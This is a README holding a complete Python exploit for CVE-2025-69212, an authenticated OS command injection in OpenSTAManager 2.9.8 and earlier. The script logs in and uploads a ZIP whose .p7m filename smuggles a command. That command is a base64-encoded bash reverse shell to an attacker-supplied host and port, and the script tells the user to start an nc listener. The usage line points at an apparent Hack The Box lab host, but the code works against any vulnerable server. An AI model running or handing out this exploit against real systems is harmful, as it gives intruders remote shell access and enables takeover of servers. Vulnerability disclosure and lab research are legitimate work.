README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-69212 - OpenSTAManager <= 2.9.8 OS Command Injection → Reverse Shell
GHSA-25fp-8w8p-mx36
Fix: Upload runs in a daemon thread — reverse shell holds the HTTP connection
open (bash is blocking), so we never wait for a response. Script exits
cleanly after firing the payload.
Usage:
python3 CVE-2025-69212.py -u http://support_001.enigma.htb -U admin -P 'pass' --lhost 10.10.15.90 --lport 9001
"""
import requests
import argparse
import zipfile
import base64
import threading
import io
import sys
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def banner():
print("\nCVE-2025-69212 | OpenSTAManager <= 2.9.8 | OS Command Injection")
print("GHSA-25fp-8w8p-mx36 | src/Util/XML.php exec() unsanitized P7M filename\n")
# Login
def login(base_url, username, password, proxies=None):
session = requests.Session()
login_url = f"{base_url}/index.php?op=login"
print(f"[*] Logging in as {username} ...")
r = session.post(login_url,
data={"username": username, "password": password},
verify=False, allow_redirects=True,
proxies=proxies, timeout=20)
if "logout" in r.text.lower() or "op=login" not in r.url:
print("[+] Login successful!")
return session
print("[-] Login failed.")
sys.exit(1)
# ZIP Builder
def build_zip(command):
"""
Malicious ZIP with injected .p7m filename.
"""
malicious_name = f'invoice.p7m";{command};echo ".p7m'
print("[*] Building malicious ZIP ...")
print(f" Filename : {malicious_name}")
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(malicious_name, b"DUMMY_P7M_CONTENT")
buf.seek(0)
return buf.read()
# Upload (fires in background thread)
def _do_upload(session, url, zip_bytes, proxies):
try:
session.post(
url,
files={"blob1": ("exploit.zip", zip_bytes, "application/zip")},
data={"op": "save", "id_module": "14", "id_plugin": "48"},
verify=False, proxies=proxies,
timeout=None
)
except Exception:
pass
def fire_payload(session, base_url, zip_bytes, proxies=None):
url = f"{base_url}/actions.php"
print(f"[*] Sending payload to {url} ...")
t = threading.Thread(
target=_do_upload,
args=(session, url, zip_bytes, proxies),
daemon=True
)
t.start()
time.sleep(3)
print("[+] Payload fired! (connection held open by bash — that's expected)")
# Main
def main():
banner()
parser = argparse.ArgumentParser(
description="CVE-2025-69212 OpenSTAManager OS Command Injection -> Reverse Shell"
)
parser.add_argument("-u", "--url", required=True, help="Target base URL")
parser.add_argument("-U", "--username", required=True, help="Username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("--lhost", required=True, help="Your IP for reverse shell")
parser.add_argument("--lport", required=True, type=int, help="Your port for reverse shell")
parser.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)")
args = parser.parse_args()
base_url = args.url.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
revshell = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
b64 = base64.b64encode(revshell.encode()).decode()
command = f"echo {b64}|base64 -d|bash"
print("--------------------------------------------------------")
print(" REVERSE SHELL")
print("--------------------------------------------------------")
print(f" LHOST : {args.lhost}")
print(f" LPORT : {args.lport}")
print(f" Payload : {revshell}")
print(f"\n [!] Make sure your listener is running: nc -lvnp {args.lport}\n")
print("--------------------------------------------------------")
print(" EXPLOITATION")
print("--------------------------------------------------------")
session = login(base_url, args.username, args.password, proxies)
zip_bytes = build_zip(command)
fire_payload(session, base_url, zip_bytes, proxies)
print("\n[+] Check your nc listener for a shell!")
print(f"\n[+] Done.\n")
if __name__ == "__main__":
main()